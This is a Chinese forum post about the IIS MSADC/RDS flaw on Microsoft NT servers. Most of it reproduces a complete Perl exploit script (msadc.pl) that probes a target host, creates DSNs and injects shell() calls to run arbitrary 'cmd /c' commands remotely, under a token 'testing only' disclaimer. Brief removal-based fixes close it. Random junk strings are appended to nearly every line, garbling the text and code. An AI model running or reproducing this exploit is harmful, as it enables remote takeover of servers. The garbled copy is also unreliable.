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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Hm+6QgCs  
eeI9[lTw  
涉及程序: /I`cS%U  
Microsoft NT server ?YkO+?}+  
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描述: KRnB[$3F1  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限  m+72C]9  
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详细: gZ `#tlA~  
如果你没有时间读详细内容的话,就删除: 3<KZ.hr  
c:\Program Files\Common Files\System\Msadc\msadcs.dll :)A.E}G  
有关的安全问题就没有了。 VV0EgfJ  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 r 48;_4d)D  
t?%}hs\!  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ;3.T* ?|o  
关于利用ODBC远程漏洞的描述,请参看: >0g `U  
N8DiEB3~  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm y]QQvCJr3d  
M/8#&RycQ  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ,%)WT>  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp &;NNU T>Q  
d!}jdt5%  
这里不再论述。 Q ^1#xBd  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ,z0~mN  
~L \(/[  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset gNEzlx8A  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! H649J)v+m  
evndw>  
^huBqEs  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ^V XXq  
n7`.<*:  
#!perl "EOk^1,y  
# eSvc/CU  
# MSADC/RDS 'usage' (aka exploit) script ~u?x{[  
# :r vO8.\  
# by rain.forest.puppy z/P^-N>  
# A_6/umF[ZA  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me FM;;x(sg  
# beta test and find errors! 0f=N3)  
j-I6QUd  
use Socket; use Getopt::Std; eBSn1n  
getopts("e:vd:h:XR", \%args); 6,g5To#vw  
T|BY00Sz`  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; jziA;6uL  
*s<dgFA'  
if (!defined $args{h} && !defined $args{R}) { Vne. HFXA  
print qq~ 72 s$  
Usage: msadc.pl -h <host> { -d <delay> -X -v } % Zl_{Q]h  
-h <host> = host you want to scan (ip or domain) fUL{c,7xda  
-d <seconds> = delay between calls, default 1 second ,h wf  
-X = dump Index Server path table, if available ',J%Mv>Yf  
-v = verbose {*ko=77$*  
-e = external dictionary file for step 5 V%{ 9o  
]mO+<{{4X  
Or a -R will resume a command session  jKb=Zkd  
uc"[qT(X  
~; exit;} H z < M  
Skk3M?  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; vUIK4uR.  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} tI!R5q;k  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} bb O;AiHD  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 6>N u=~  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 93Ci$#<y  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } qG2\` +v  
E3.W#=o  
if (!defined $args{R}){ $ret = &has_msadc; 6Ymo%OT  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} V)?x*R*T)  
N?U&(@p  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" `M pC<sit  
. "cmd /c "; PE;0 jgsiI  
$in=<STDIN>; chomp $in; qI V`zZc  
$command="cmd /c " . $in ; 6q  xUT  
z5o9\.y({  
if (defined $args{R}) {&load; exit;} Fb<\(#t  
{7pE9R5  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; M;RnH##W  
&try_btcustmr; w_z^5\u0  
{L2Gb(YLW  
print "\nStep 2: Trying to make our own DSN..."; vS*0CR\  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 8w@W8(3B  
u7y7  
print "\nStep 3: Trying known DSNs..."; %BYlbEx  
&known_dsn; yS.fe[  
h}B# 'e  
print "\nStep 4: Trying known .mdbs..."; 6 peM4X  
&known_mdb; <,]CVo  
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if (defined $args{e}){ ]BS{,sI  
print "\nStep 5: Trying dictionary of DSN names..."; 4iPua"8  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } z_,]fd=o  
xz+`]Q  
print "Sorry Charley...maybe next time?\n"; dXK~ Z:  
exit; W%jX-  
IDk:jO  
############################################################################## TeN1\rA,  
Ci#5@Q9#w  
sub sendraw { # ripped and modded from whisker S>ylAU;N  
sleep($delay); # it's a DoS on the server! At least on mine... iDkWW  
my ($pstr)=@_; `bi_)i6Low  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ~3-YxCn%  
die("Socket problems\n"); oj4)7{  
if(connect(S,pack "SnA4x8",2,80,$target)){ EV7+u0uN&Q  
select(S); $|=1; ,IVr4#w0=  
print $pstr; my @in=<S>; kV(DnZ#jq  
select(STDOUT); close(S); I#6' NZ  
return @in; d[Fr  
} else { die("Can't connect...\n"); }} 5_tK3Q8?  
u%IKM \  
############################################################################## pvwnza1  
U+}9X^  
sub make_header { # make the HTTP request I\4`90uBN  
my $msadc=<<EOT _ L:w;Oy9T  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 my\oC^/9  
User-Agent: ACTIVEDATA hr}R,BR|  
Host: $ip Ef*.}gcU  
Content-Length: $clen 3L!&~'.Ro  
Connection: Keep-Alive nTtt$I@hW  
yNMwd.r[  
ADCClientVersion:01.06 vhe Ah`u^&  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 OFAqP1o{$  
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--!ADM!ROX!YOUR!WORLD! R^O)fL0_  
Content-Type: application/x-varg 7;s0m0<%~  
Content-Length: $reqlen jvKaxB;e  
#&8pp8wd,}  
EOT ,HO/Q6;N  
; $msadc=~s/\n/\r\n/g; 0v)mgrl=,  
return $msadc;} {8p?we3l1  
PH4bM  
############################################################################## vFvu8*0  
C%7)sLWjJS  
sub make_req { # make the RDS request X1z0'gvh  
my ($switch, $p1, $p2)=@_; ]}Hv,a   
my $req=""; my $t1, $t2, $query, $dsn; ^d $e^cU  
A kQFb2|ir  
if ($switch==1){ # this is the btcustmr.mdb query ?}Ptb&Vk(  
$query="Select * from Customers where City=" . make_shell(); mS;Q8Crh  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . r_<i*l.  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} \C\y' H5  
OuIW|gIu0  
elsif ($switch==2){ # this is general make table query cz~11j#  
$query="create table AZZ (B int, C varchar(10))"; Ecl7=-y  
$dsn="$p1";} 2+Y`pz47W  
[Ik B/Xbw|  
elsif ($switch==3){ # this is general exploit table query BL^Hj  
$query="select * from AZZ where C=" . make_shell(); PaI63 !  
$dsn="$p1";} o|n0?bThS-  
9d(v^T  
elsif ($switch==4){ # attempt to hork file info from index server > Vm  
$query="select path from scope()"; ( 2(;u1  
$dsn="Provider=MSIDXS;";} *8eh%3_$h  
<@ex})su  
elsif ($switch==5){ # bad query m<LzB_ G\  
$query="select"; :< 3;7R'5  
$dsn="$p1";} $zA[5}{ZtQ  
90696v.  
$t1= make_unicode($query); GIl{wd  
$t2= make_unicode($dsn); f! Nc+  
$req = "\x02\x00\x03\x00"; ZrT|~$*m`  
$req.= "\x08\x00" . pack ("S1", length($t1)); <;Z~ vZ]  
$req.= "\x00\x00" . $t1 ; -ns a3P  
$req.= "\x08\x00" . pack ("S1", length($t2)); U~@B%Msb L  
$req.= "\x00\x00" . $t2 ; Fm~}A4  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; g#nsA(_L  
return $req;} JM9Q]#'t  
-@?>nLQb  
############################################################################## &`y_R'  
{YLJKu!M  
sub make_shell { # this makes the shell() statement 1ucUnNkcV  
return "'|shell(\"$command\")|'";} U1tPw`0h  
TK?N^ly  
############################################################################## {$=%5  
d#,V^  
sub make_unicode { # quick little function to convert to unicode nE.s  
my ($in)=@_; my $out; bGnJ4R3J  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } g {wPw  
return $out;} j`M<M[C*4N  
|}Z"|-Z  
############################################################################## QN5N h s  
c`=h K*  
sub rdo_success { # checks for RDO return success (this is kludge) U.} =j'Us+  
my (@in) = @_; my $base=content_start(@in); yAkN2  
if($in[$base]=~/multipart\/mixed/){ u<r('IW0  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} @  MoMU  
return 0;} A+ *(Pds  
K4L#%KUPW  
############################################################################## rxA)&  
.f<,H+m^  
sub make_dsn { # this makes a DSN for us /P}tgcs  
my @drives=("c","d","e","f"); UsKn4Kh  
print "\nMaking DSN: "; pODo[Rkq  
foreach $drive (@drives) { {%}6 d~Bg  
print "$drive: "; ~OfKn1D  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . wpMQ 7:j  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 0n^j 50Yq  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); {]N?DmF  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; [NDYJ'VGe  
return 0 if $2 eq "404"; # not found/doesn't exist 3+PM_c)Y  
if($2 eq "200") { OtqLigt&l  
foreach $line (@results) { !-Q!/?  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} {D.0_=y~2  
} return 0;} 45JLx?rN_  
+@v} (  
############################################################################## 2xm?,p`  
d u )G)~  
sub verify_exists { ?%n9g)>Yej  
my ($page)=@_; :|( B[  
my @results=sendraw("GET $page HTTP/1.0\n\n"); $ $+z^%'_  
return $results[0];} O/@[VPf  
[$+61n}.12  
############################################################################## ho<#i(  
v65r@)\`  
sub try_btcustmr { K",]_+b  
my @drives=("c","d","e","f"); OPh@H.)^  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $$>,2^qr&L  
: P2;9+v  
foreach $dir (@dirs) { ~qxc!k!w4  
print "$dir -> "; # fun status so you can see progress 2M`Ni&v  
foreach $drive (@drives) { +}'K6x_  
print "$drive: "; # ditto "FD~XSRL  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; CtxK{:  
$reqlenlen=length( "$reqlen" ); Pk2 "\y@q/  
$clen= 206 + $reqlenlen + $reqlen; Z)4P>{  
NE nP3A  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); x&p=vUuukP  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} w-/Tb~#E  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} -OAH6U9^  
{$.{VE+v5  
############################################################################## sNTfRPC  
Lj\<qF~n  
sub odbc_error { I<#kw)W!  
my (@in)=@_; my $base; 4K% YS  
my $base = content_start(@in); "fwuvT 1  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Yq.@7cJ  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,^T2hY`  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]kvE+m&p}^  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; '93&?  
return $in[$base+4].$in[$base+5].$in[$base+6];} c" HCc]  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; fTcRqov  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . @UBp;pb}=h  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ;T(^riAEl  
b`=rd 4cpU  
############################################################################## ,+{ 43;a  
N/p_6GYMa  
sub verbose { ? 'nMZ  
my ($in)=@_; A O]e^Q  
return if !$verbose; BJTljg( {o  
print STDOUT "\n$in\n";} XoOe=V?I )  
A&#Bf#!G  
############################################################################## KcE=m\h  
z""(M4  
sub save { !b_IH0]U  
my ($p1, $p2, $p3, $p4)=@_; ,;}RIcvQV  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; "b;?2_w:E  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; bSzb! hT`  
close OUT;} n9ih^H  
?,[w6O*  
############################################################################## q3t@)+l>*  
uWQ.h ,  
sub load { p`0Tpgi  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; B7C6Mau  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Pd?YS!+S  
@p=<IN>; close(IN); N11am  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); %0'f`P6  
$target= inet_aton($ip) || die("inet_aton problems"); oKiu6=  
print "Resuming to $ip ..."; +ZO*~.zZ  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; t@v8>J%K  
if($p[1]==1) { ;!b(b%  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; FeJ5^Gh.  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 9EW 7,m{A  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); !LA#c'  
if (rdo_success(@results)){print "Success!\n";} IuL ]V TY  
else { print "failed\n"; verbose(odbc_error(@results));}} #t*c*o  
elsif ($p[1]==3){ 7t QiKrhp  
if(run_query("$p[3]")){ K(Nk|gQ  
print "Success!\n";} else { print "failed\n"; }} &/" qOZAs  
elsif ($p[1]==4){ E&AR=yqk  
if(run_query($drvst . "$p[3]")){ w.jATMJ)F  
print "Success!\n"; } else { print "failed\n"; }} 'AU!xG6OQ  
exit;} /:)4tIV  
*@Z'{V\  
############################################################################## w6tY6bf}  
SQ[}]Tm;n  
sub create_table { }#1{GhsS  
my ($in)=@_; Q*5d~Yr]R  
$reqlen=length( make_req(2,$in,"") ) - 28; muLTYgaM  
$reqlenlen=length( "$reqlen" ); <dZ{E7l  
$clen= 206 + $reqlenlen + $reqlen; 'S\H% -  
my @results=sendraw(make_header() . make_req(2,$in,"")); *9PQJeyR  
return 1 if rdo_success(@results); 6 s/O\A  
my $temp= odbc_error(@results); verbose($temp); nK[$ID  
return 1 if $temp=~/Table 'AZZ' already exists/; -=Hr|AhE  
return 0;} +( d2hSIF  
rv[\2@}  
############################################################################## wKN9HT  
-$r fu  
sub known_dsn { {_JLmyaerZ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 0J" 3RTt  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", &W%TY:Da|  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", DX|kO  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); cW2:D$Pe  
h=aHZ6v  
foreach $dSn (@dsns) { d>}%A ]  
print "."; 8MdKH7  
next if (!is_access("DSN=$dSn")); c}lgWu~  
if(create_table("DSN=$dSn")){ :>5]A6Wi  
print "$dSn successful\n"; ~tWBCq 6  
if(run_query("DSN=$dSn")){ aNz%vbh\  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 5VN4A<))  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ??Lxb% 7R  
dK-G%5)r  
############################################################################## Us<lWEX;k  
XN Y(@  
sub is_access { * HVO  
my ($in)=@_; y\:2Re/*Jt  
$reqlen=length( make_req(5,$in,"") ) - 28; w;:,W@K  
$reqlenlen=length( "$reqlen" ); H0S7k`.  
$clen= 206 + $reqlenlen + $reqlen; VQCPgs  
my @results=sendraw(make_header() . make_req(5,$in,"")); f55Ev<oOa  
my $temp= odbc_error(@results); #'[ f^xgJ  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); q:'(1y~  
return 0;} #KwFrlZ  
9o6y7hEQy  
############################################################################## 5D#*lMSP"'  
Ny#%7%(  
sub run_query { DmYm~hzJ  
my ($in)=@_; `i}\k  
$reqlen=length( make_req(3,$in,"") ) - 28; W$&Q.Z  
$reqlenlen=length( "$reqlen" ); 6 B )   
$clen= 206 + $reqlenlen + $reqlen; Oj2[(7 mO/  
my @results=sendraw(make_header() . make_req(3,$in,"")); TCYnErqk  
return 1 if rdo_success(@results); (]JJ?aAF  
my $temp= odbc_error(@results); verbose($temp); er_aol e  
return 0;} W{`;][  
;pNfdII(  
############################################################################## O =fT;&%.  
.'4*'i:  
sub known_mdb { 1_' ZbZv4h  
my @drives=("c","d","e","f","g"); tnsYY  
my @dirs=("winnt","winnt35","winnt351","win","windows"); r&qD!l5y  
my $dir, $drive, $mdb; BBX4^;t  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; &45.*l|mo  
9H<:\-:  
# this is sparse, because I don't know of many P>H'od  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Av'H(qB\K  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 4DNZ y2`  
"\\system32\\certmdb.mdb", ecb[m2z  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ,W#y7 t  
/xmd]XM=_  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", dZm{?\^_  
"\\cfusion\\cfapps\\forums\\forums_.mdb", !#r]f9QP  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",  i J\#su  
"\\cfusion\\cfapps\\security\\realm_.mdb", {Hb _o)S  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", &I70veNY  
"\\cfusion\\database\\cfexamples.mdb", 3K'3Xp@A  
"\\cfusion\\database\\cfsnippets.mdb", q/[)mr|~  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", `s+qz  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", k`?n("j  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 5rc<ibGh  
"\\cfusion\\database\\smpolicy.mdb", {BJxRH"&6*  
"\\cfusion\\database\cypress.mdb", ELm#  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Y3thW@mD05  
"\\website\\cgi-win\\dbsample.mdb", }>j$Wr_h  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Bg3^BOT  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" @=9QV3D  
); #these are just W&"FejD  
foreach $drive (@drives) { f; 22viE  
foreach $dir (@dirs){ ~6OdPD  
foreach $mdb (@sysmdbs) { NENbr$,G  
print "."; {\%x{  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ GVg0)}  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; a+X X?uN{  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ a\zbi$S  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; FGZOn5U6'  
} else { print "Something's borked. Use verbose next time\n"; }}}}} *33Zt+  
kqy Y:J  
foreach $drive (@drives) { Jlzhn#5c-  
foreach $mdb (@mdbs) { }/=VnCfU  
print "."; J sH9IK:  
if(create_table($drv . $drive . $dir . $mdb)){ al5?w{us  
print "\n" . $drive . $dir . $mdb . " successful\n"; 55#H A?cR  
if(run_query($drv . $drive . $dir . $mdb)){ FNUue  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; D3_,2  
} else { print "Something's borked. Use verbose next time\n"; }}}} LOQEU? z  
} m\Dbb.vBvW  
# wG}T .*  
############################################################################## 2nw P-i  
(j'[t  
sub hork_idx { .rS0zU  
print "\nAttempting to dump Index Server tables...\n"; :+u?A  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; b&!X#3(KT  
$reqlen=length( make_req(4,"","") ) - 28; $idYG<],  
$reqlenlen=length( "$reqlen" ); z-()7WY  
$clen= 206 + $reqlenlen + $reqlen; k: c)|2  
my @results=sendraw2(make_header() . make_req(4,"","")); !7_Q_h',  
if (rdo_success(@results)){ 5T,`j=\  
my $max=@results; my $c; my %d; l9-(ofY*J  
for($c=19; $c<$max; $c++){ d`Wd"LJ=  
$results[$c]=~s/\x00//g; n\d-^ml  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; YpAjZQZ,  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;  _G`kj{J  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; (_d^i Zyf  
$d{"$1$2"}="";} /N~.,vf  
foreach $c (keys %d){ print "$c\n"; } c(@)V.o2  
} else {print "Index server doesn't seem to be installed.\n"; }} E$RH+):|  
xY@V.  
############################################################################## ,3x3&c  
oJ5V^.  
sub dsn_dict { @k6>&PS  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); O)W1.]GMbf  
while(<IN>){ dC)@v]#h  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; GUMO;rZs  
next if (!is_access("DSN=$dSn")); ? -6oh~W<  
if(create_table("DSN=$dSn")){ mio\}S A  
print "$dSn successful\n"; r=u>TA$  
if(run_query("DSN=$dSn")){ OJ&~uV>2  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ]m YY1%H8M  
print "Something's borked. Use verbose next time\n";}}} 'H97D-86/  
print "\n"; close(IN);} ^'#vUj:"  
@dw0oRF  
############################################################################## O{Wy;7i  
kvKbl;<&#  
sub sendraw2 { # ripped and modded from whisker z`'{l {  
sleep($delay); # it's a DoS on the server! At least on mine... @'dtlY5;  
my ($pstr)=@_; I>:M1Yc0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *;Sj&O  
die("Socket problems\n"); ^xFZ;Yf  
if(connect(S,pack "SnA4x8",2,80,$target)){ @*!8  
print "Connected. Getting data"; ?oP<sGp  
open(OUT,">raw.out"); my @in;  z7>  
select(S); $|=1; print $pstr; Ioj F/  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} U#-89.x  
close(OUT); select(STDOUT); close(S); return @in; 85m_jmh[  
} else { die("Can't connect...\n"); }} TTu<~GH  
!@5B:n*  
############################################################################## EE-jU<>|  
]Z6==+mCP  
sub content_start { # this will take in the server headers 6/ F]ncwG  
my (@in)=@_; my $c; aNw8][  
for ($c=1;$c<500;$c++) { Y=\;$:L[  
if($in[$c] =~/^\x0d\x0a/){ jgbE@IA@!'  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } cjp H hoW  
else { return $c+1; }}} n-0RA~5z  
return -1;} # it should never get here actually Q`'w)aV  
"/g/Lc  
############################################################################## fn]f$n*`  
``DS?pUY  
sub funky { 8Y_wS&eB  
my (@in)=@_; my $error=odbc_error(@in); CB\E@u,  
if($error=~/ADO could not find the specified provider/){ }GRZCX>  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 7:<co  
exit;} tWT@%(2~0  
if($error=~/A Handler is required/){ .3M=|rE   
print "\nServer has custom handler filters (they most likely are patched)\n"; E:!?A@Fy  
exit;} C,HKao\  
if($error=~/specified Handler has denied Access/){ [HLXWu3  
print "\nServer has custom handler filters (they most likely are patched)\n"; `2( )Vf  
exit;}} 5Z@OgR  
?%(:  
############################################################################## j&(aoGl@  
$GB/}$fd&  
sub has_msadc { +a0q?$\  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 7&-B6Y4  
my $base=content_start(@results); B=8],_  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); +O8rjVg)  
return 0;} oF7o"NHaWa  
,* !HN &  
######################## ^Cs?FF@P  
G AI( =  
&>,c..Ke  
解决方案: H$^IT#  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 3\JEp,5  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 V $Y=JK@  
=n7QLQU  
拿出来充数 哈哈
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